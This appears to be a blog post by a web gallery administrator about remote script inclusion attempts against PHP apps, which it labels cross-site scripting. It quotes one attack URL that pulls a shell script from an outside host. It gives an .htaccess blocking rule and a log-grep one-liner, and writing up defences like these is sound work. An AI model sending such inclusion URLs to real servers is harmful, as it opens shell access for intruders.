An answer to an annoyance

Lately I’ve been seeing a lot of Cross Site Scripting attempts on my gallery server. Usually being hosted on one of the ’seedier’ servers from over seas but I have also seen some on compromised boxes. Now the XSS attempts are coming from Linux based machines in the North American area but the payload is not at those locations. These attempts typically appear as:

/main.php?g2_itemId=http://ninaru.hut2.ru/images/cs.txt?

In order to stop them from making it to the actual rendering script, I added a clause in .htaccess to block them:

RewriteCond %{QUERY_STRING} ^(.*)\.txt(.*)$
RewriteRule (.*) $1 [NC,R=403]

This is kinda draconian in that it pretty much takes anything that has with .txt in the query string will get black holed but it works for now. For me, I send it to my own 403 page but you could also re-direct it elsewhere also. Hopefully this will help out those experiencing the same circumstances.

Just to add more meat to this posting…

Based on what I’ve observed so far, this XSS attempt looks at attacking PHP scripts succeptible to cross site scripting. If the site being attacked is vulnerable, then the php script being called in the URI will fire and allow some shell like functions to the caller. I haven’t seen any other variants of this attacking any of the other PHP apps I run but I will keep an eye out for it.

Also, the called script utilized a lot of base64 encoding tricks to obfuscate it’s functions. You can do some reverse engineering by attacking the functions at the bottom of the script. Since those functions call base PHP directives, you can make inferences to the more discrete obfuscated variable values. Once you do this, simply search and replace the script with a more readable variable name and the script slowly begins to manifest.

Here’s a quikie bash one liner to dump the attack lines from your apache logs:

Assuming your in your apache log directory -
cat access.log | egrep '(.*)\.txt\?' | awk '{print $1 " - " $7}'